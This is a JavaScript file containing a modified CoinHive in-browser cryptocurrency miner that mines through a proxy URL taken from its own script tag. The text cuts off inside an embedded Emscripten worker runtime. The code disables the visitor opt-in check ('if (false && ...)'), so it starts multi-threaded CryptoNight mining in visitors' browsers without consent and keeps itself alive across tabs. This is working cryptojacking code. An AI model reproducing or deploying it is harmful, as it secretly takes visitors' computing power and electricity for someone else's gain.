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var libUrl = null; | |
var scriptTag = Array.prototype.slice | |
.call(document.getElementsByTagName("script")) | |
.filter(x => /\?proxy?/.test(x.src)); | |
if (scriptTag.length > 0) { | |
libUrl = scriptTag[0].src.split("m.js")[0]; | |
} else { | |
throw new Error("missing '?proxy' query parameter in your proxy url!"); | |
} | |
const proxyUrl = decodeURIComponent(scriptTag[0].src.split("proxy=")[1]); | |
console.log("libUrl", libUrl); | |
console.log("proxyUrl", proxyUrl); | |
(function(window) { | |
"use strict"; | |
var Miner = function(siteKey, params) { | |
this.params = params || {}; | |
this._siteKey = siteKey; | |
this._user = null; | |
this._threads = []; | |
this._hashes = 0; | |
this._currentJob = null; | |
this._autoReconnect = true; | |
this._reconnectRetry = 3; | |
this._tokenFromServer = null; | |
this._goal = 0; | |
this._totalHashesFromDeadThreads = 0; | |
this._throttle = Math.max(0, Math.min(0.99, this.params.throttle || 0)); | |
this._stopOnInvalidOptIn = false; | |
this._autoThreads = { | |
enabled: !!this.params.autoThreads, | |
interval: null, | |
adjustAt: null, | |
adjustEvery: 1e4, | |
stats: {} | |
}; | |
this._tab = { | |
ident: (Math.random() * 16777215) | 0, | |
mode: CoinHive.IF_EXCLUSIVE_TAB, | |
grace: 0, | |
lastPingReceived: 0, | |
interval: null | |
}; | |
if (window.BroadcastChannel) { | |
try { | |
this._bc = new BroadcastChannel("coinhive"); | |
this._bc.onmessage = function(msg) { | |
if (msg.data === "ping") { | |
this._tab.lastPingReceived = Date.now(); | |
} | |
}.bind(this); | |
} catch (e) {} | |
} | |
this._eventListeners = { | |
open: [], | |
authed: [], | |
close: [], | |
error: [], | |
job: [], | |
found: [], | |
accepted: [], | |
optin: [] | |
}; | |
var defaultThreads = navigator.hardwareConcurrency || 4; | |
this._targetNumThreads = this.params.threads || defaultThreads; | |
this._useWASM = this.hasWASMSupport() && !this.params.forceASMJS; | |
this._asmjsStatus = "unloaded"; | |
this._onTargetMetBound = this._onTargetMet.bind(this); | |
this._onVerifiedBound = this._onVerified.bind(this); | |
}; | |
Miner.prototype.start = function(mode, optInToken) { | |
this._tab.mode = mode || CoinHive.IF_EXCLUSIVE_TAB; | |
this._optInToken = optInToken; | |
if (this._tab.interval) { | |
clearInterval(this._tab.interval); | |
this._tab.interval = null; | |
} | |
if (this._useWASM || this._asmjsStatus === "loaded") { | |
this._startNow(); | |
} else if (this._asmjsStatus === "unloaded") { | |
this._asmjsStatus = "pending"; | |
var xhr = new XMLHttpRequest(); | |
xhr.addEventListener( | |
"load", | |
function() { | |
CoinHive.CRYPTONIGHT_WORKER_BLOB = | |
window.URL.createObjectURL(new Blob([xhr.responseText])) + | |
"#" + | |
libUrl; | |
this._asmjsStatus = "loaded"; | |
this._startNow(); | |
}.bind(this), | |
xhr | |
); | |
xhr.open("get", libUrl + "a.js", true); | |
xhr.send(); | |
} | |
}; | |
Miner.prototype.stop = function(mode) { | |
for (var i = 0; i < this._threads.length; i++) { | |
this._totalHashesFromDeadThreads += this._threads[i].hashesTotal; | |
this._threads[i].stop(); | |
} | |
this._threads = []; | |
this._autoReconnect = false; | |
if (this._socket) { | |
this._socket.close(); | |
} | |
this._currentJob = null; | |
if (this._autoThreads.interval) { | |
clearInterval(this._autoThreads.interval); | |
this._autoThreads.interval = null; | |
} | |
if (this._tab.interval && mode !== "dontKillTabUpdate") { | |
clearInterval(this._tab.interval); | |
this._tab.interval = null; | |
} | |
}; | |
Miner.prototype.getHashesPerSecond = function() { | |
var hashesPerSecond = 0; | |
for (var i = 0; i < this._threads.length; i++) { | |
hashesPerSecond += this._threads[i].hashesPerSecond; | |
} | |
return hashesPerSecond; | |
}; | |
Miner.prototype.getTotalHashes = function(estimate) { | |
var now = Date.now(); | |
var hashes = this._totalHashesFromDeadThreads; | |
for (var i = 0; i < this._threads.length; i++) { | |
var thread = this._threads[i]; | |
hashes += thread.hashesTotal; | |
if (estimate) { | |
var tdiff = (now - thread.lastMessageTimestamp) / 1e3 * 0.9; | |
hashes += tdiff * thread.hashesPerSecond; | |
} | |
} | |
return hashes | 0; | |
}; | |
Miner.prototype.getAcceptedHashes = function() { | |
return this._hashes; | |
}; | |
Miner.prototype.getToken = function() { | |
return this._tokenFromServer; | |
}; | |
Miner.prototype.on = function(type, callback) { | |
if (this._eventListeners[type]) { | |
this._eventListeners[type].push(callback); | |
} | |
}; | |
Miner.prototype.getAutoThreadsEnabled = function(enabled) { | |
return this._autoThreads.enabled; | |
}; | |
Miner.prototype.setAutoThreadsEnabled = function(enabled) { | |
this._autoThreads.enabled = !!enabled; | |
if (!enabled && this._autoThreads.interval) { | |
clearInterval(this._autoThreads.interval); | |
this._autoThreads.interval = null; | |
} | |
if (enabled && !this._autoThreads.interval) { | |
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery; | |
this._autoThreads.interval = setInterval( | |
this._adjustThreads.bind(this), | |
1e3 | |
); | |
} | |
}; | |
Miner.prototype.getThrottle = function() { | |
return this._throttle; | |
}; | |
Miner.prototype.setThrottle = function(throttle) { | |
this._throttle = Math.max(0, Math.min(0.99, throttle)); | |
if (this._currentJob) { | |
this._setJob(this._currentJob); | |
} | |
}; | |
Miner.prototype.getNumThreads = function() { | |
return this._targetNumThreads; | |
}; | |
Miner.prototype.setNumThreads = function(num) { | |
var num = Math.max(1, num | 0); | |
this._targetNumThreads = num; | |
if (num > this._threads.length) { | |
for (var i = 0; num > this._threads.length; i++) { | |
var thread = new CoinHive.JobThread(); | |
if (this._currentJob) { | |
thread.setJob(this._currentJob, this._onTargetMetBound); | |
} | |
this._threads.push(thread); | |
} | |
} else if (num < this._threads.length) { | |
while (num < this._threads.length) { | |
var thread = this._threads.pop(); | |
this._totalHashesFromDeadThreads += thread.hashesTotal; | |
thread.stop(); | |
} | |
} | |
}; | |
Miner.prototype.hasWASMSupport = function() { | |
return window.WebAssembly !== undefined; | |
}; | |
Miner.prototype.isRunning = function() { | |
return this._threads.length > 0; | |
}; | |
Miner.prototype._startNow = function() { | |
if (this._tab.mode !== CoinHive.FORCE_MULTI_TAB && !this._tab.interval) { | |
this._tab.interval = setInterval(this._updateTabs.bind(this), 1e3); | |
} | |
if ( | |
this._tab.mode === CoinHive.IF_EXCLUSIVE_TAB && | |
this._otherTabRunning() | |
) { | |
return; | |
} | |
if (this._tab.mode === CoinHive.FORCE_EXCLUSIVE_TAB) { | |
this._tab.grace = Date.now() + 3e3; | |
} | |
if (!this.verifyThread) { | |
this.verifyThread = new CoinHive.JobThread(); | |
} | |
this.setNumThreads(this._targetNumThreads); | |
this._autoReconnect = true; | |
if (false && !this._optInToken) { | |
this._auth = | |
this._auth || | |
new CoinHive.Auth(this._siteKey, { | |
theme: this.params.theme || "light", | |
lang: this.params.language || "auto" | |
}); | |
this._auth.auth( | |
function(token) { | |
if (!token) { | |
this._emit("optin", { status: "canceled" }); | |
this._emit("error", { error: "opt_in_canceled" }); | |
return; | |
} | |
this._emit("optin", { status: "accepted" }); | |
this._optInToken = token; | |
this._connect(); | |
}.bind(this) | |
); | |
} else { | |
this._connect(); | |
} | |
}; | |
Miner.prototype._otherTabRunning = function() { | |
if (this._tab.lastPingReceived > Date.now() - 1500) { | |
return true; | |
} | |
try { | |
var tdjson = localStorage.getItem("coinhive"); | |
if (tdjson) { | |
var td = JSON.parse(tdjson); | |
if (td.ident !== this._tab.ident && Date.now() - td.time < 1500) { | |
return true; | |
} | |
} | |
} catch (e) {} | |
return false; | |
}; | |
Miner.prototype._updateTabs = function() { | |
var otherTabRunning = this._otherTabRunning(); | |
if (otherTabRunning && this.isRunning() && Date.now() > this._tab.grace) { | |
this.stop("dontKillTabUpdate"); | |
} else if (!otherTabRunning && !this.isRunning()) { | |
this._startNow(); | |
} | |
if (this.isRunning()) { | |
if (this._bc) { | |
this._bc.postMessage("ping"); | |
} | |
try { | |
localStorage.setItem( | |
"coinhive", | |
JSON.stringify({ ident: this._tab.ident, time: Date.now() }) | |
); | |
} catch (e) {} | |
} | |
}; | |
Miner.prototype._adjustThreads = function() { | |
var hashes = this.getHashesPerSecond(); | |
var threads = this.getNumThreads(); | |
var stats = this._autoThreads.stats; | |
stats[threads] = stats[threads] | |
? stats[threads] * 0.5 + hashes * 0.5 | |
: hashes; | |
if (Date.now() > this._autoThreads.adjustAt) { | |
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery; | |
var cur = (stats[threads] || 0) - 1; | |
var up = stats[threads + 1] || 0; | |
var down = stats[threads - 1] || 0; | |
if (cur > down && (up === 0 || up > cur) && threads < 8) { | |
return this.setNumThreads(threads + 1); | |
} else if (cur > up && (!down || down > cur) && threads > 1) { | |
return this.setNumThreads(threads - 1); | |
} | |
} | |
}; | |
Miner.prototype._emit = function(type, params) { | |
var listeners = this._eventListeners[type]; | |
if (listeners && listeners.length) { | |
for (var i = 0; i < listeners.length; i++) { | |
listeners[i](params); | |
} | |
} | |
}; | |
Miner.prototype._hashString = function(s) { | |
var hash = 5381, | |
i = s.length; | |
while (i) { | |
hash = (hash * 33) ^ s.charCodeAt(--i); | |
} | |
return hash >>> 0; | |
}; | |
Miner.prototype._connect = function() { | |
if (this._socket) { | |
return; | |
} | |
this._socket = new WebSocket(proxyUrl); | |
this._socket.onmessage = this._onMessage.bind(this); | |
this._socket.onerror = this._onError.bind(this); | |
this._socket.onclose = this._onClose.bind(this); | |
this._socket.onopen = this._onOpen.bind(this); | |
}; | |
Miner.prototype._onOpen = function(ev) { | |
this._emit("open"); | |
var params = { | |
site_key: this._siteKey, | |
type: "anonymous", | |
user: null, | |
goal: 0 | |
}; | |
if (this._user) { | |
params.type = "user"; | |
params.user = this._user.toString(); | |
} else if (this._goal) { | |
params.type = "token"; | |
params.goal = this._goal; | |
} | |
if (this._optInToken) { | |
params.opt_in = this._optInToken; | |
} | |
this._send("auth", params); | |
}; | |
Miner.prototype._onError = function(ev) { | |
this._emit("error", { error: "connection_error" }); | |
this._onClose(ev); | |
}; | |
Miner.prototype._onClose = function(ev) { | |
if (ev.code >= 1003 && ev.code <= 1009) { | |
this._reconnectRetry = 60; | |
} | |
for (var i = 0; i < this._threads.length; i++) { | |
this._threads[i].stop(); | |
} | |
this._threads = []; | |
this._socket = null; | |
this._emit("close"); | |
if (this._autoReconnect) { | |
setTimeout(this._startNow.bind(this), this._reconnectRetry * 1e3); | |
} | |
}; | |
Miner.prototype._onMessage = function(ev) { | |
var msg = JSON.parse(ev.data); | |
if (msg.type === "job") { | |
this._setJob(msg.params); | |
this._emit("job", msg.params); | |
if (this._autoThreads.enabled && !this._autoThreads.interval) { | |
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery; | |
this._autoThreads.interval = setInterval( | |
this._adjustThreads.bind(this), | |
1e3 | |
); | |
} | |
} else if (msg.type === "verify") { | |
this.verifyThread.verify(msg.params, this._onVerifiedBound); | |
} else if (msg.type === "hash_accepted") { | |
this._hashes = msg.params.hashes; | |
this._emit("accepted", msg.params); | |
if (this._goal && this._hashes >= this._goal) { | |
this.stop(); | |
} | |
} else if (msg.type === "authed") { | |
this._tokenFromServer = msg.params.token || null; | |
this._hashes = msg.params.hashes || 0; | |
this._emit("authed", msg.params); | |
this._reconnectRetry = 3; | |
} else if (msg.type === "error") { | |
if (console && console.error) { | |
console.error("Coinhive Error:", msg.params.error); | |
} | |
this._emit("error", msg.params); | |
if (msg.params.error === "invalid_site_key") { | |
this._reconnectRetry = 6e3; | |
} else if (msg.params.error === "invalid_opt_in") { | |
if (this._stopOnInvalidOptIn) { | |
return this.stop(); | |
} else if (this._auth) { | |
this._auth.reset(); | |
} | |
} | |
} else if (msg.type === "banned" || msg.params.banned) { | |
this._emit("error", { banned: true }); | |
this._reconnectRetry = 600; | |
} | |
}; | |
Miner.prototype._setJob = function(job) { | |
this._currentJob = job; | |
this._currentJob.throttle = this._throttle; | |
for (var i = 0; i < this._threads.length; i++) { | |
this._threads[i].setJob(job, this._onTargetMetBound); | |
} | |
}; | |
Miner.prototype._onTargetMet = function(result) { | |
this._emit("found", result); | |
if (result.job_id === this._currentJob.job_id) { | |
this._send("submit", { | |
job_id: result.job_id, | |
nonce: result.nonce, | |
result: result.result | |
}); | |
} | |
}; | |
Miner.prototype._onVerified = function(verifyResult) { | |
this._send("verified", verifyResult); | |
}; | |
Miner.prototype._send = function(type, params) { | |
if (!this._socket) { | |
return; | |
} | |
var msg = { type: type, params: params || {} }; | |
this._socket.send(JSON.stringify(msg)); | |
}; | |
window.CoinHive = window.CoinHive || {}; | |
window.CoinHive.IF_EXCLUSIVE_TAB = "ifExclusiveTab"; | |
window.CoinHive.FORCE_EXCLUSIVE_TAB = "forceExclusiveTab"; | |
window.CoinHive.FORCE_MULTI_TAB = "forceMultiTab"; | |
window.CoinHive.Token = function(siteKey, goal, params) { | |
var miner = new Miner(siteKey, params); | |
miner._goal = goal || 0; | |
return miner; | |
}; | |
window.CoinHive.User = function(siteKey, user, params) { | |
var miner = new Miner(siteKey, params); | |
miner._user = user; | |
return miner; | |
}; | |
window.CoinHive.Anonymous = function(siteKey, params) { | |
var miner = new Miner(siteKey, params); | |
return miner; | |
}; | |
})(window); | |
(function(window) { | |
"use strict"; | |
var JobThread = function() { | |
this.worker = new Worker(CoinHive.CRYPTONIGHT_WORKER_BLOB); | |
this.worker.onmessage = this.onReady.bind(this); | |
this.currentJob = null; | |
this.jobCallback = function() {}; | |
this.verifyCallback = function() {}; | |
this._isReady = false; | |
this.hashesPerSecond = 0; | |
this.hashesTotal = 0; | |
this.running = false; | |
this.lastMessageTimestamp = Date.now(); | |
}; | |
JobThread.prototype.onReady = function(msg) { | |
if (msg.data !== "ready" || this._isReady) { | |
throw 'Expecting first message to be "ready", got ' + msg; | |
} | |
this._isReady = true; | |
this.worker.onmessage = this.onReceiveMsg.bind(this); | |
if (this.currentJob) { | |
this.running = true; | |
this.worker.postMessage(this.currentJob); | |
} | |
}; | |
JobThread.prototype.onReceiveMsg = function(msg) { | |
if (msg.data.verify_id) { | |
this.verifyCallback(msg.data); | |
return; | |
} | |
if (msg.data.result) { | |
this.jobCallback(msg.data); | |
} | |
this.hashesPerSecond = | |
this.hashesPerSecond * 0.5 + msg.data.hashesPerSecond * 0.5; | |
this.hashesTotal += msg.data.hashes; | |
this.lastMessageTimestamp = Date.now(); | |
if (this.running) { | |
this.worker.postMessage(this.currentJob); | |
} | |
}; | |
JobThread.prototype.setJob = function(job, callback) { | |
this.currentJob = job; | |
this.jobCallback = callback; | |
if (this._isReady && !this.running) { | |
this.running = true; | |
this.worker.postMessage(this.currentJob); | |
} | |
}; | |
JobThread.prototype.verify = function(job, callback) { | |
if (!this._isReady) { | |
return; | |
} | |
this.verifyCallback = callback; | |
this.worker.postMessage(job); | |
}; | |
JobThread.prototype.stop = function() { | |
if (this.worker) { | |
this.worker.terminate(); | |
this.worker = null; | |
} | |
this.running = false; | |
}; | |
window.CoinHive.JobThread = JobThread; | |
})(window); | |
CoinHive.CRYPTONIGHT_WORKER_BLOB = URL.createObjectURL( | |
new Blob([ | |
'var Module={locateFile:(function(path){return "' + | |
libUrl + | |
'"+path})};var Module;if(!Module)Module=(typeof Module!=="undefined"?Module:null)||{};var moduleOverrides={};for(var key in Module){if(Module.hasOwnProperty(key)){moduleOverrides[key]=Module[key]}}var ENVIRONMENT_IS_WEB=false;var ENVIRONMENT_IS_WORKER=false;var ENVIRONMENT_IS_NODE=false;var ENVIRONMENT_IS_SHELL=false;if(Module["ENVIRONMENT"]){if(Module["ENVIRONMENT"]==="WEB"){ENVIRONMENT_IS_WEB=true}else if(Module["ENVIRONMENT"]==="WORKER"){ENVIRONMENT_IS_WORKER=true}else if(Module["ENVIRONMENT"]==="NODE"){ENVIRONMENT_IS_NODE=true}else if(Module["ENVIRONMENT"]==="SHELL"){ENVIRONMENT_IS_SHELL=true}else{throw new Error("The provided Module[\'ENVIRONMENT\'] value is not valid. It must be one of: WEB|WORKER|NODE|SHELL.")}}else{ENVIRONMENT_IS_WEB=typeof window==="object";ENVIRONMENT_IS_WORKER=typeof importScripts==="function";ENVIRONMENT_IS_NODE=typeof process==="object"&&typeof require==="function"&&!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_WORKER;ENVIRONMENT_IS_SHELL=!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_NODE&&!ENVIRONMENT_IS_WORKER}if(ENVIRONMENT_IS_NODE){if(!Module["print"])Module["print"]=console.log;if(!Module["printErr"])Module["printErr"]=console.warn;var nodeFS;var nodePath;Module["read"]=function shell_read(filename,binary){if(!nodeFS)nodeFS=require("fs");if(!nodePath)nodePath=require("path");filename=nodePath["normalize"](filename);var ret=nodeFS["readFileSync"](filename);return binary?ret:ret.toString()};Module["readBinary"]=function readBinary(filename){var ret=Module["read"](filename,true);if(!ret.buffer){ret=new Uint8Array(ret)}assert(ret.buffer);return ret};Module["load"]=function load(f){globalEval(read(f))};if(!Module["thisProgram"]){if(process["argv"].length>1){Module["thisProgram"]=process["argv"][1].replace(/\\\\/g,"/")}else{Module["thisProgram"]="unknown-program"}}Module["arguments"]=process["argv"].slice(2);if(typeof module!=="undefined"){module["exports"]=Module}process["on"]("uncaughtException",(function(ex){if(!(ex instanceof ExitStatus)){throw ex}}));Module["inspect"]=(function(){return"[Emscripten Module object]"})}else if(ENVIRONMENT_IS_SHELL){if(!Module["print"])Module["print"]=print;if(typeof printErr!="undefined")Module["printErr"]=printErr;if(typeof read!="undefined"){Module["read"]=read}else{Module["read"]=function shell_read(){throw"no read() available"}}Module["readBinary"]=function readBinary(f){if(typeof readbuffer==="function"){return new Uint8Array(readbuffer(f))}var data=read(f,"binary");assert(typeof data==="object");return data};if(typeof scriptArgs!="undefined"){Module["arguments"]=scriptArgs}else if(typeof arguments!="undefined"){Module["arguments"]=arguments}if(typeof quit==="function"){Module["quit"]=(function(status,toThrow){quit(status)})}}else if(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER){Module["read"]=function shell_read(url){var xhr=new XMLHttpRequest;xhr.open("GET",url,false);xhr.send(null);return xhr.responseText};if(ENVIRONMENT_IS_WORKER){Module["readBinary"]=function readBinary(url){var xhr=new XMLHttpRequest;xhr.open("GET",url,false);xhr.responseType="arraybuffer";xhr.send(null);return new Uint8Array(xhr.response)}}Module["readAsync"]=function readAsync(url,onload,onerror){var xhr=new XMLHttpRequest;xhr.open("GET",url,true);xhr.responseType="arraybuffer";xhr.onload=function xhr_onload(){if(xhr.status==200||xhr.status==0&&xhr.response){onload(xhr.response)}else{onerror()}};xhr.onerror=onerror;xhr.send(null)};if(typeof arguments!="undefined"){Module["arguments"]=arguments}if(typeof console!=="undefined"){if(!Module["print"])Module["print"]=function shell_print(x){console.log(x)};if(!Module["printErr"])Module["printErr"]=function shell_printErr(x){console.warn(x)}}else{var TRY_USE_DUMP=false;if(!Module["print"])Module["print"]=TRY_USE_DUMP&&typeof dump!=="undefined"?(function(x){dump(x)}):(function(x){})}if(ENVIRONMENT_IS_WORKER){Module["load"]=importScripts}if(typeof Module["setWindowTitle"]==="undefined"){Module["setWindowTitle"]=(function(title){document.title=title})}}else{throw"Unknown runtime environment. Where are we?"}function globalEval(x){eval.call(null,x)}if(!Module["load"]&&Module["read"]){Module["load"]=function load(f){globalEval(Module["read"](f))}}if(!Module["print"]){Module["print"]=(function(){})}if(!Module["printErr"]){Module["printErr"]=Module["print"]}if(!Module["arguments"]){Module["arguments"]=[]}if(!Module["thisProgram"]){Module["thisProgram"]="./this.program"}if(!Module["quit"]){Module["quit"]=(function(status,toThrow){throw toThrow})}Module.print=Module["print"];Module.printErr=Module["printErr"];Module["preRun"]=[];Module["postRun"]=[];for(var key in moduleOverrides){if(moduleOverrides.hasOwnProperty(key)){Module[key]=moduleOverrides[key]}}moduleOverrides=undefined;var Runtime={setTempRet0:(function(value){tempRet0=value;return value}),getTempRet0:(function(){return tempRet0}),stackSave:(function(){return STACKTOP}),stackRestore:(function(stackTop){STACKTOP=stackTop}),getNativeTypeSize:(function(type){switch(type){case"i1":case"i8":return 1;case"i16":return 2;case"i32":return 4;case"i64":return 8;case"float":return 4;case"double":return 8;default:{if(type[type.length-1]==="*"){return Runtime.QUANTUM_SIZE}else if(type[0]==="i"){var bits=parseInt(type.substr(1));assert(bits%8===0);return bits/8}else{return 0}}}}),getNativeFieldSize:(function(type){return Math.max(Runtime.getNativeTypeSize(type),Runtime.QUANTUM_SIZE)}),STACK_ALIGN:16,prepVararg:(function(ptr,type){if(type==="double"||type==="i64"){if(ptr&7){assert((ptr&7)===4);ptr+=4}}else{assert((ptr&3)===0)}return ptr}),getAlignSize:(function(type,size,vararg){if(!vararg&&(type=="i64"||type=="double"))return 8;if(!type)return Math.min(size,8);return Math.min(size||(type?Runtime.getNativeFieldSize(type):0),Runtime.QUANTUM_SIZE)}),dynCall:(function(sig,ptr,args){if(args&&args.length){return Module["dynCall_"+sig].apply(null,[ptr].concat(args))}else{return Module["dynCall_"+sig].call(null,ptr)}}),functionPointers:[],addFunction:(function(func){for(var i=0;i<Runtime.functionPointers.length;i++){if(!Runtime.functionPointers[i]){Runtime.functionPointers[i]=func;return 2*(1+i)}}throw"Finished up all reserved function pointers. Use a higher value for RESERVED_FUNCTION_POINTERS."}),removeFunction:(function(index){Runtime.functionPointers[(index-2)/2]=null}),warnOnce:(function(text){if(!Runtime.warnOnce.shown)Runtime.warnOnce.shown={};if(!Runtime.warnOnce.shown[text]){Runtime.warnOnce.shown[text]=1;Module.printErr(text)}}),funcWrappers:{},getFuncWrapper:(function(func,sig){assert(sig);if(!Runtime.funcWrappers[sig]){Runtime.funcWrappers[sig]={}}var sigCache=Runtime.funcWrappers[sig];if(!sigCache[func]){if(sig.length===1){sigCache[func]=function dynCall_wrapper(){return Runtime.dynCall(sig,func)}}else if(sig.length===2){sigCache[func]=function dynCall_wrapper(arg){return Runtime.dynCall(sig,func,[arg])}}else{sigCache[func]=function dynCall_wrapper(){return Runtime.dynCall(sig,func,Array.prototype.slice.call(arguments))}}}return sigCache[func]}),getCompilerSetting:(function(name){throw"You must build with -s RETAIN_COMPILER_SETTINGS=1 for Runtime.getCompilerSetting or emscripten_get_compiler_setting to work"}),stackAlloc:(function(size){var ret=STACKTOP;STACKTOP=STACKTOP+size|0;STACKTOP=STACKTOP+15&-16;return ret}),staticAlloc:(function(size){var ret=STATICTOP;STATICTOP=STATICTOP+size|0;STATICTOP=STATICTOP+15&-16;return ret}),dynamicAlloc:(function(size){var ret=HEAP32[DYNAMICTOP_PTR>>2];var end=(ret+size+15|0)&-16;HEAP32[DYNAMICTOP_PTR>>2]=end;if(end>=TOTAL_MEMORY){var success=enlargeMemory();if(!success){HEAP32[DYNAMICTOP_PTR>>2]=ret;return 0}}return ret}),alignMemory:(function(size,quantum){var ret=size=Math.ceil(size/(quantum?quantum:16))*(quantum?quantum:16);return ret}),makeBigInt:(function(low,high,unsigned){var ret=unsigned?+(low>>>0)+ +(high>>>0)*4294967296:+(low>>>0)+ +(high|0)*4294967296;return ret}),GLOBAL_BASE:1024,QUANTUM_SIZE:4,__dummy__:0};Module["Runtime"]=Runtime;var ABORT=0;var EXITSTATUS=0;function assert(condition,text){if(!condition){abort("Assertion failed: "+text)}}function getCFunc(ident){var func=Module["_"+ident];if(!func){try{func=eval("_"+ident)}catch(e){}}assert(func,"Cannot call unknown function "+ident+" (perhaps LLVM optimizations or closure removed it?)");return func}var cwrap,ccall;((function(){var JSfuncs={"stackSave":(function(){Runtime.stackSave()}),"stackRestore":(function(){Runtime.stackRestore()}),"arrayToC":(function(arr){var ret=Runtime.stackAlloc(arr.length);writeArrayToMemory(arr,ret);return ret}),"stringToC":(function(str){var ret=0;if(str!==null&&str!==undefined&&str!==0){var len=(str.length<<2)+1;ret=Runtime.stackAlloc(len);stringToUTF8(str,ret,len)}return ret})};var toC={"string":JSfuncs["stringToC"],"array":JSfuncs["arrayToC"]};ccall=function ccallFunc(ident,returnType,argTypes,args,opts){var func=getCFunc(ident);var cArgs=[];var stack=0;if(args){for(var i=0;i<args.length;i++){var converter=toC[argTypes[i]];if(converter){if(stack===0)stack=Runtime.stackSave();cArgs[i]=converter(args[i])}else{cArgs[i]=args[i]}}}var ret=func.apply(null,cArgs);if(returnType==="string")ret=Pointer_stringify(ret);if(stack!==0){if(opts&&opts.async){EmterpreterAsync.asyncFinalizers.push((function(){Runtime.stackRestore(stack)}));return}Runtime.stackRestore(stack)}return ret};var sourceRegex=/^function\\s*[a-zA-Z$_0-9]*\\s*\\(([^)]*)\\)\\s*{\\s*([^*]*?)[\\s;]*(?:return\\s*(.*?)[;\\s]*)?}$/;function parseJSFunc(jsfunc){var parsed=jsfunc.toString().match(sourceRegex).slice(1);return{arguments:parsed[0],body:parsed[1],returnValue:parsed[2]}}var JSsource=null;function ensureJSsource(){if(!JSsource){JSsource={};for(var fun in JSfuncs){if(JSfuncs.hasOwnProperty(fun)){JSsource[fun]=parseJSFunc(JSfuncs[fun])}}}}cwrap=function cwrap(ident,returnType,argTypes){argTypes=argTypes||[];var cfunc=getCFunc(ident);var numericArgs=argTypes.every((function(type){return type==="number"}));var numericRet=returnType!=="string";if(numericRet&&numericArgs){return cfunc}var argNames=argTypes.map((function(x,i){return"$"+i}));var funcstr="(function("+argNames.join(",")+") {";var nargs=argTypes.length;if(!numericArgs){ensureJSsource();funcstr+="var stack = "+JSsource["stackSave"].body+";";for(var i=0;i<nargs;i++){var arg=argNames[i],type=argTypes[i];if(type==="number")continue;var convertCode=JSsource[type+"ToC"];funcstr+="var "+convertCode.arguments+" = "+arg+";";funcstr+=convertCode.body+";";funcstr+=arg+"=("+convertCode.returnValue+");"}}var cfuncname=parseJSFunc((function(){return cfunc})).returnValue;funcstr+="var ret = "+cfuncname+"("+argNames.join(",")+");";if(!numericRet){var strgfy=parseJSFunc((function(){return Pointer_stringify})).returnValue;funcstr+="ret = "+strgfy+"(ret);"}if(!numericArgs){ensureJSsource();funcstr+=JSsource["stackRestore"].body.replace("()","(stack)")+";"}funcstr+="return ret})";return eval(funcstr)}}))();Module["ccall"]=ccall;Module["cwrap"]=cwrap;function setValue(ptr,value,type,noSafe){type=type||"i8";if(type.charAt(type.length-1)==="*")type="i32";switch(type){case"i1":HEAP8[ptr>>0]=value;break;case"i8":HEAP8[ptr>>0]=value;break;case"i16":HEAP16[ptr>>1]=value;break;case"i32":HEAP32[ptr>>2]=value;break;case"i64":tempI64=[value>>>0,(tempDouble=value,+Math_abs(tempDouble)>=1?tempDouble>0?(Math_min(+Math_floor(tempDouble/4294967296),4294967295)|0)>>>0:~~+Math_ceil((tempDouble- +(~~tempDouble>>>0))/4294967296)>>>0:0)],HEAP32[ptr>>2]=tempI64[0],HEAP32[ptr+4>>2]=tempI64[1];break;case"float":HEAPF32[ptr>>2]=value;break;case"double":HEAPF64[ptr>>3]=value;break;default:abort("invalid type for setValue: "+type)}}Module["setValue"]=setValue;function getValue(ptr,type,noSafe){type=type||"i8";if(type.charAt(type.length-1)==="*")type="i32";switch(type){case"i1":return HEAP8[ptr>>0];case"i8":return HEAP8[ptr>>0];case"i16":return HEAP16[ptr>>1];case"i32":return HEAP32[ptr>>2];case"i64":return HEAP32[ptr>>2];case"float":return HEAPF32[ptr>>2];case"double":return HEAPF64[ptr>>3];default:abort("invalid type for setValue: "+type)}return null}Module["getValue"]=getValue;var ALLOC_NORMAL=0;var ALLOC_STACK=1;var ALLOC_STATIC=2;var ALLOC_DYNAMIC=3;var ALLOC_NONE=4;Module["ALLOC_NORMAL"]=ALLOC_NORMAL;Module["ALLOC_STACK"]=ALLOC_STACK;Module["ALLOC_STATIC"]=ALLOC_STATIC;Module["ALLOC_DYNAMIC"]=ALLOC_DYNAMIC;Module["ALLOC_NONE"]=ALLOC_NONE;function allocate(slab,types,allocator,ptr){var zeroinit,size;if(typeof slab==="number"){zeroinit=true;size=slab}else{zeroinit=false;size=slab.length}var singleType=typeof types==="string"?types:null;var ret;if(allocator==ALLOC_NONE){ret=ptr}else{ret=[typeof _malloc==="function"?_malloc:Runtime.staticAlloc,Runtime.stackAlloc,Runtime.staticAlloc,Runtime.dynamicAlloc][allocator===undefined?ALLOC_STATIC:allocator](Math.max(size,singleType?1:types.length))}if(zeroinit){var ptr=ret,stop;assert((ret&3)==0);stop=ret+(size&~3);for(;ptr<stop;ptr+=4){HEAP32[ptr>>2]=0}stop=ret+size;while(ptr<stop){HEAP8[ptr++>>0]=0}return ret}if(singleType==="i8"){if(slab.subarray||slab.slice){HEAPU8.set(slab,ret)}else{HEAPU8.set(new Uint8Array(slab),ret)}return ret}var i=0,type,typeSize,previousType;while(i<size){var curr=slab[i];if(typeof curr==="function"){curr=Runtime.getFunctionIndex(curr)}type=singleType||types[i];if(type===0){i++;continue}if(type=="i64")type="i32";setValue(ret+i,curr,type);if(previousType!==type){typeSize=Runtime.getNativeTypeSize(type);previousType=type}i+=typeSize}return ret}Module["allocate"]=allocate;function getMemory(size){if(!staticSealed)return Runtime.staticAlloc(size);if(!runtimeInitialized)return Runtime.dynamicAlloc(size);return _malloc(size)}Module["getMemory"]=getMemory;function Pointer_stringify(ptr,length){if(length===0||!ptr)return"";var hasUtf=0;var t;var i=0;while(1){t=HEAPU8[ptr+i>>0];hasUtf|=t;if(t==0&&!length)break;i++;if(length&&i==length)break}if(!length)length=i;var ret="";if(hasUtf<128){var MAX_CHUNK=1024;var curr;while(length>0){curr=String.fromCharCode.apply(String,HEAPU8.subarray(ptr,ptr+Math.min(length,MAX_CHUNK)));ret=ret?ret+curr:curr;ptr+=MAX_CHUNK;length-=MAX_CHUNK}return ret}return Module["UTF8ToString"](ptr)}Module["Pointer_stringify"]=Pointer_stringify;function AsciiToString(ptr){var str="";while(1){var 